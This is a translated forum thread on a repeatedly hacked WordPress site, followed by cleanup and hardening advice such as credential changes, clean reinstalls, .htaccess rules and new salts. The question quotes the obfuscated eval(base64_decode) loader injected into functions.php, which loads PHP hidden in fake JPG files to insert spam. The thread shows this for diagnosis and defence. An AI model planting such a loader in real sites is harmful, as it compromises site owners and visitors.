2015-09-09 88 views
0

我有一個WordPress網站一直在被黑客入侵。至於我可以跟以下變化正在作出:WordPress的網站一直在被黑客攻擊

該文件的頂部有一些額外的PHP代碼:

的wp-content /主題/擁抱/ functions.php中

如下:正在創建

eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7")); 

和4個新的JPG文件:

/wp-includes/images/geo.jpg

/wp-includes/images/save.jpg

/wp-includes/images/magic.jpg

/wp-includes/images/links.jpg

這些都不是真正的jpg文件因爲他們沒有打開,但用文本編輯器查看它們會顯示文本和其他PHP代碼。

從看PHP代碼,它看起來像試圖注入一些垃圾郵件/廣告鏈接到我的WordPress的POSTS。

我一直刪除這些文件,我已經安裝了一個安全插件,刪除了管理員登錄名,更改了我所有的密碼,但這些文件每隔幾天就會不斷更新/創建。

我想知道這是如何可能的,我需要做的下一步要阻止這一點。

+1

您是否使用FTP或的cPanel的/ etc訪問服務器?這些可能會受到影響。 –

+0

您可能有一個易受攻擊的主題或插件。 – SLaks

+0

我敢打賭,你的主題或者一些活躍的插件是脆弱的,我遇到過很多這樣的網站,通常使用5年前創建的硬編碼主題。 – silver

回答

3

首先 - DON´T PANIC

此時安裝防病毒軟件或安全插件很少有幫助 - 惡意代碼已經可以訪問服務器。

1 - 改變所有的密碼FTPmysqlDBCpanelWHMSSH(禁用如果不需要)等訪問任何東西。

3 - 檢查你的服務器(比如cgicgi-binftp等所有文件夾。) 刪除所有wordpress文件夾(除wp-content),和所有其他奇怪的文件。刪除所有主題和所有插件anf手動和專注地檢查wp-content的其餘部分。備份數據庫並手動檢查它。

3.1 - (編輯1) - 禁止cpanel/WHM中的索引。並閱讀下面的.htaccess保護。

2 - 將新的wordpress核心文件上傳到OWN directory(不是根目錄)並將其重命名爲其他內容(而不是wpwordpress)。

3 - 更新插件和主題 - 不要複製你有的,但從wp插件庫安裝新鮮,更新的和新鮮乾淨的主題。 手動檢查是否有必要。

在您的主題中,檢查所有formsinput fields,並檢查輸入的正確驗證。

4 - 更改wp-config中的所有數據庫密碼。所有的哈希等。 創建一個新的數據庫AND用戶和新密碼。在注入之前手動檢查數據庫備份。

4.1 - (編輯I)我忘了提及 - 更改數據庫前綴。不要離開wp

5 - 更改所有的wp用戶密碼和用戶名。 如果您有一個擁有數百個用戶的開放式網站,而不是製作腳本來強制每個人都更改密碼。如果您只有十幾個用戶手動更改密碼。 當我說所有 - 它包括默認的管理員用戶(從過去的版本)

6 - 一段時間後,檢查您的服務器日誌,並查看假的圖像文件的404消息是來自單個IP地址(可能不) - 如果他們 - 阻止它。

7 - 除了小心以外,你可以做的事情不多。這是很多工作,但不要懶惰,並遵循所有步驟。否則,它不只是這一個網站,但整個服務器可能會受到影響。一次又一次 ,。

準則,不是再次發生:

  • 選擇強密碼。 - 我們都不喜歡密碼看起來像aDf34HG§*#sFGT,但它們是有用的 - 特別是在DB或其他自動化任務。對於用戶 - 強制至少一個符號和一個字母。

  • 請勿安裝您不知道的主題和插件,不完全瞭解您從可疑來源( all-wp-premium-themes-for-free-and-direct-download-all-plugins-for-free等)下載的內容。

  • 保持WordPress的核心文件更新。

  • 手動檢查服務器每隔一段時間。

的.htaccess

某些指令,可以防止(或至少嘗試)這種情況再次發生。

.htaccess文件在WordPress的根目錄下。

#Disallow indexes 
Options All -Indexes 

# protect wp-config.php 
<files wp-config.php> 
Order deny,allow 
Deny from all 
</files> 

# WPhtC: Protect .htaccess file 
<files ~ "^.*\.([Hh][Tt][Aa])"> 
order allow,deny 
deny from all 
</files> 

的robots.txt

Disallow: /wp-* 

你可以做的另一件事是強制用戶(和自己)使用SSL(HTTPS)當登錄到管理:

define('FORCE_SSL_LOGIN', true); 

還有其他的東西,比較複雜,特別是在APACHE方面。 如果我有更多時間,我會發布博客條目並鏈接到此處。但上面寫的是一個好的開始。

0

我遇到了一些我的網站這個問題,甚至在交換了所有東西(所有新文件只有一個網站,但具有相同的配置文件)......我受到了攻擊。

每天我都會醒來,發送電子郵件通知,說30個不同的文件已被編輯或替換。每次我清理它,它會在幾個小時後回來......但是因爲它們都是新文件而感到困惑。唯一相同的是wp-config.php文件。

原來,哈希鍵太短了。網站建立在3年前,但完全更新到這一點,但只要我更改散列鍵的時間更長,那麼問題就會停止。

哈希鍵的例子:

EXAMPLE IMAGE OF HASH KEYS

在這裏你可以去生成新的密鑰: https://api.wordpress.org/secret-key/1.1/salt/